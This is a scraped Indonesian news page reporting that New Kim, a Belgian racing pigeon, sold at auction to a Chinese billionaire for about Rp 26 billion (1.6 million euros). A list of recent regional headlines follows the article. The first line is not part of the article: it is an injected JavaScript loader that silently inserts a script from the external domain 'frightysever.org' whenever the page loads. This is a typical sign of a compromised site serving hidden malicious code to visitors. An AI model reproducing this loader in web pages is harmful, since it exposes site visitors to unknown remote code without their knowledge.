(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: INTERNASIONAL

Seekor Burung Merpati Balap asal Belgia Terjual Rp 26 Miliar


KANALKALIMANTAN.COM – Seekor burung merpati berusia dua tahun asal Belgia menjadi burung termahal dengan harga tembus hingga Rp 26 miliar yang dibeli oleh miliarder China.

Menyadur BBC News, Senin (16/11/2020) burung merpati bernama New Kim tersebut awalnya dilelang dengan harga 200 dolar (Rp 3,3 juta) oleh seorang peternak, tetapi akhirnya dibeli oleh miliarder dari China pada hari Minggu dengan harga fantastis.

Seekor merpati balap betina dari Belgia tersebut mencetak rekor baru dengan harga 1,6 juta euro atau setara Rp 26 miliar.

Kurt Van de Wouwer, peternak yang membesarkan dan memiliki banyak merpati mengatakan mereka terkejut dengan tawaran fantastis tersebut.

 

Pemegang rekor merpati termahal sebelumnya adalah seekor merpati jantan berusia empat tahun yang dijual seharga 1,25 juta euro.

Merpati tersebut bernama Armando, yang dijuluki “Lewis Hamilton of pigeons”, sudah pensiun dan telah menjadi ayah dari sejumlah anak.

New Kim memenangkan sejumlah kompetisi pada 2018, termasuk balapan jarak menengah nasional, tetapi sejak itu pensiun.

Seperti Armando, New Kim dibeli setelah perang penawaran antara dua pembeli dari China, negara yang belakangan ini digandrungi balap merpati.

Merpati balap dapat terus memiliki anak sampai mereka berusia sekitar 10 tahun dan diharapkan pemilik baru Kim akan menggunakannya untuk berkembang biak.

Juru lelang mengatakan penjualan New Kim ini membuat penjualan menjadi lebih tidak biasa.

“Rekor harga ini luar biasa, karena ini adalah burung betina,” kata Nikolaas Gyselbrecht, CEO dan pendiri rumah lelang Pipa, kepada Reuters.

“Biasanya burung jantan lebih berharga daripada betina karena bisa menghasilkan lebih banyak keturunan.” sambungnya.

Belgia telah lama menjadi rumah bagi penggemar merpati, dengan lebih dari 20.000 peternak merpati di negaranya, menurut Mr Gyselbrecht. (suara.com)

Reporter : suara.com
Editor : kk

Al Ghifari

Recent Posts

KPU Banjarbaru Mulai Siapkan Pembentukan Badan Ad-hoc Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Komisioner Komisi Pemilihan Umum (KPU) Kota Banjarbaru menerima beberapa catatan menjelang pembentukan… Read More

2 jam ago

Raperda Inisiatif Sistem Drainase Tawaran Solusi Banjir dan Genangan Air di Ibu Kota

KANALKALIMANTAN.COM, BANJARBARU - Persoalan banjir dan genangan air masih menjadi pekerjaan rumah (PR) yang hingga… Read More

3 jam ago

Upaya Meningkatkan Akreditasi Perpustakaan di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Kearsipan dan Perpustakaan Daerah (Darpusda) Kota Banjarbaru menggelar sosialisasi pembinaan perpustakaan… Read More

4 jam ago

Cabang Musabaqah Syarhil Qur’an Kafilah HSU Putra Putri Lolos ke Final

KANALKALIMANTAN.COM, RANTAU - Hari ketiga Musabaqah Tilawatil Quran (MTQ) Nasional XXXV tingkat Provinsi Kalimantan Selatan… Read More

5 jam ago

65 Peserta Calon Guru Penggerak di Kabupaten Banjar Ikuti Lokakarya

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur mengingatkan para tenaga pengajar bahwa yantangan di… Read More

5 jam ago

Bupati Banjar Buka Temu Teknis Penyuluh Pertanian se Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Temu Teknis Penyuluh Pertanian se Kabupaten… Read More

5 jam ago

This website uses cookies.